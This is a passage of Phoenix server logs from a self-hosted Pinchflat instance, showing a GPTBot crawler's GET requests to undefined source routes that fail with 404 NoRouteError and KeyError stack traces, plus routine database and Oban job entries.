AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/3/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDjgfk767fuCQoAAFgD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3173.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57038}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3173.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57038}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_ (truncated) 23:26:41.619 [info] GET /sources/3/sync_files_on_disk 23:26:41.619 [debug] QUERY OK source="settings" db=0.1ms idle=1107.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:41.620 [debug] QUERY OK source="settings" db=0.0ms idle=1107.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:41.620 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:26:41.620 [error] #PID<0.3176.0> running PinchflatWeb.Endpoint (connection #PID<0.3175.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/3/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3175.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57048}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3176.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/3"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/3/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDjgjijJGwm6UwAAFiD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3175.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57048}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3175.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57048}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: (truncated) 23:26:44.854 [info] GET /sources/3/force_download_pending 23:26:44.854 [debug] QUERY OK source="settings" db=0.1ms idle=1342.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:44.854 [debug] QUERY OK source="settings" db=0.0ms idle=1342.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:44.855 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:26:44.855 [error] #PID<0.3178.0> running PinchflatWeb.Endpoint (connection #PID<0.3177.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/3/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3177.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57060}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3178.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/3"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/3/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDjgvl1EalwJUcAAFkD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3177.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57060}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3177.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57060}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 23:26:54.528 [info] GET /sources/3/force_metadata_refresh 23:26:54.529 [debug] QUERY OK source="settings" db=0.2ms idle=571.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:54.529 [debug] QUERY OK source="settings" db=0.0ms idle=17.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:54.529 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:26:54.529 [error] #PID<0.3180.0> running PinchflatWeb.Endpoint (connection #PID<0.3179.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/3/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3179.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57104}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3180.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/3"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/3/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDjhToXS2EMflAAAFmD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3179.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57104}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3179.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 57104}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWHpvYjNtQ2VLWlBQZkRsOXV4REZncWJH.hK2GfP4X1GFeuLjFOUjDLNI7KY2C6-vPHXZvdgoGrgg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 23:26:59.083 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.041 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:21.820 [info] GET /sources/53e0929f-c3da-41fc-86ae-1214e69354cd/feed.xml 23:27:21.820 